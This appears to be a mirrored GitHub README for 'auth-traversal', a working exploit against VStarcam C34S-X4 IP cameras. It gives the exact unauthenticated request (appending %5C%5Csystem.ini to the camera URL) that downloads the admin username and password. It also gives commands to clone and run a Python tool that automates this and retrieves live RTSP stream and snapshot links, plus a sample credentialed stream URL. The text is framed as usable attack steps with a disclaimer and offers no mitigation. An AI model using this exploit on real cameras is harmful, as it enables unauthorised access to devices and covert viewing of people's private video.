Git Product home page Git Product logo

auth-traversal's Introduction

Authentication Traversal

The Vulnerability of GoAhead Service on VStarcam C34S-X4 that allows you to download system.ini configuration file and get login and password.

!WARNING!

The author is trying to draw the attention of the developers to the problem and I am not responsible for the harm caused to you or by you.

IMPLEMENTATION

ะ•o perform the vulnerability, you must log in to the camera interface without authorization. Then, after the forward slash, you must add %5C%5Csystem.ini and the file will start downloading. When you open the file, you will see your username and password written together. I have already written a small program that interacts with the ONVIF protocol and receives images from the camera and a link to the RTSP stream.

STEPS

  1. To use it you have to install python3 onvif_zeep and requests
git clone https://github.com/Retr0-code/auth-treversal
pip3 install -r requirements.txt
chmod +x GetInfo.py
python3 GetInfo.py --help

2) You can go to you browser and enter this link http://ip:port/%5C%5Csystem.ini (You must change ip to address of camera and port to port that web-server run on).

MozilaV.png


Or you can use
python3 GetInfo.py --host <camera ip> --port <web-server port>

and than read as text downloaded file.

PythonLogPass.png


3) Now you can log in to web-panel.

webPanel.png

Or you can use

python3 GetInfo.py --onvif 10080 --host 192.168.0.58 --port 8888

and you get links to snapshots and RTSP stream link. To get stream you have to specify login and password like this: rtsp://username:password@ip:port/path/to/stream In my case link looks like this rtsp://admin:[email protected]:554/udp/av0_1

OnvifShow.png

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.